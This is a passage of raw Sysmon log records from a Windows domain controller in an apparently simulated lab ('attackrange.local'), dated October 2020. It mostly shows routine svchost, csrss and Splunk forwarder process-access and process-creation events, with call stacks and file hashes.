STEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2A11-5F80-5601-000000007F01}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.338{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A11-5F80-5601-000000007F01}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:57.339{A5F018FF-2A11-5F80-5601-000000007F01}3920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:00.103{A5F018FF-28BF-5F80-0D00-000000007F01}1004920C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+ca3e|c:\windows\system32\rpcss.dll+ba7a|c:\windows\system32\rpcss.dll+ce2e|c:\windows\system32\rpcss.dll+a853|c:\windows\system32\rpcss.dll+42269|c:\windows\system32\rpcss.dll+423a2|c:\windows\system32\rpcss.dll+426df|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:00.103{A5F018FF-28BF-5F80-0D00-000000007F01}1004920C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+ed71|c:\windows\system32\rpcss.dll+b954|c:\windows\system32\rpcss.dll+ce2e|c:\windows\system32\rpcss.dll+a853|c:\windows\system32\rpcss.dll+42269|c:\windows\system32\rpcss.dll+423a2|c:\windows\system32\rpcss.dll+426df|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 